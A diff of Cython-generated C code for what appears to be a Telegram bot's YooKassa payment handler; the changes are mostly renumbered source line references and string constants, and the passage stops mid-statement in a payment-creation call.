__Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_5 = 0; @@ -8324,7 +8322,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_conn, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 277, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 269, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8339,24 +8337,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L9_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 277, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 269, __pyx_L6_error) __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); } else { __pyx_t_3 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 277, __pyx_L6_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 269, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); } __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_user_data = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_user_data); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 278, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_user_data); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 270, __pyx_L6_error) __pyx_t_7 = (!__pyx_t_6); if (__pyx_t_7) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 279, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 271, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 279, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 271, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -8374,10 +8372,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__18}; + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__17}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 279, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 271, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -8392,12 +8390,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L11_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 279, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 271, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 279, __pyx_L6_error) + else __PYX_ERR(0, 271, __pyx_L6_error) } } @@ -8407,7 +8405,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_user_data, __pyx_n_u_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 282, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_user_data, __pyx_n_u_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 274, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_state_type = __pyx_t_3; @@ -8415,22 +8413,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state_type); __pyx_t_3 = __pyx_cur_scope->__pyx_v_state_type; - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_waiting_for_payment, Py_NE)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 284, __pyx_L6_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_waiting_for_payment, Py_NE)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 276, __pyx_L6_error) if (__pyx_t_6) { } else { __pyx_t_7 = __pyx_t_6; goto __pyx_L13_bool_binop_done; } - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_waiting_for_renewal_payment, Py_NE)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 284, __pyx_L6_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_waiting_for_renewal_payment, Py_NE)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 276, __pyx_L6_error) __pyx_t_7 = __pyx_t_6; __pyx_L13_bool_binop_done:; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_6 = __pyx_t_7; if (__pyx_t_6) { - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 285, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 277, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -8448,10 +8446,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__18}; + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__17}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 285, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 277, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8466,12 +8464,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 285, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 277, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 285, __pyx_L6_error) + else __PYX_ERR(0, 277, __pyx_L6_error) } } @@ -8481,12 +8479,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_user_data, __pyx_n_u_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 288, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_user_data, __pyx_n_u_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 288, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 280, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__19, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 288, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__18, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); @@ -8496,27 +8494,27 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ goto __pyx_L8; } - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 290, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 282, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 290, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 282, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_6 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_1); if (unlikely(__pyx_t_6 == ((int)-1))) __PYX_ERR(0, 290, __pyx_L6_error) + __pyx_t_6 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_1); if (unlikely(__pyx_t_6 == ((int)-1))) __PYX_ERR(0, 282, __pyx_L6_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_6) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 291, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 283, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 283, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 293, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 285, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 293, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -8537,17 +8535,17 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 293, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 285, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 293, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 285, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 294, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 286, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 294, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 286, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GIVEREF(__pyx_t_2); @@ -8558,7 +8556,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 296, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 288, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -8575,10 +8573,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__20}; + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__19}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 296, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 288, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -8593,12 +8591,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 5; return __pyx_r; __pyx_L17_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 296, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 288, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 296, __pyx_L6_error) + else __PYX_ERR(0, 288, __pyx_L6_error) } } @@ -8612,7 +8610,62 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 299, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__20}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 291, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L18_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 291, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 291, __pyx_L6_error) + } + } + + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L5_return; + } + __pyx_L8:; + + __pyx_t_2 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 294, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 294, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_6) { + + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 295, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -8632,62 +8685,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__21}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 299, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 6; - return __pyx_r; - __pyx_L18_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 299, __pyx_L6_error) - } else { - PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); - if (exc_type) { - if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 299, __pyx_L6_error) - } - } - - __Pyx_XDECREF(__pyx_r); - __pyx_r = NULL; - goto __pyx_L5_return; - } - __pyx_L8:; - - __pyx_t_2 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 302, __pyx_L6_error) - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 302, __pyx_L6_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (__pyx_t_6) { - - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 303, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = NULL; - __pyx_t_5 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_3))) { - __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); - if (likely(__pyx_t_1)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); - __Pyx_INCREF(__pyx_t_1); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_3, function); - __pyx_t_5 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__22}; - __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); - __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 303, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 295, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -8702,12 +8700,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 7; return __pyx_r; __pyx_L20_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 303, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 295, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 303, __pyx_L6_error) + else __PYX_ERR(0, 295, __pyx_L6_error) } } @@ -8724,47 +8722,47 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __Pyx_XGOTREF(__pyx_t_10); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 307, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 299, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_create); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 307, __pyx_L21_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_create); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 299, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 309, __pyx_L21_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 309, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_11 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 309, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_value, __pyx_t_11) < 0) __PYX_ERR(0, 309, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_value, __pyx_t_11) < 0) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 309, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_amount, __pyx_t_4) < 0) __PYX_ERR(0, 309, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 301, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_amount, __pyx_t_4) < 0) __PYX_ERR(0, 301, __pyx_L21_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 311, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 303, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 311, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 303, __pyx_L21_error) - 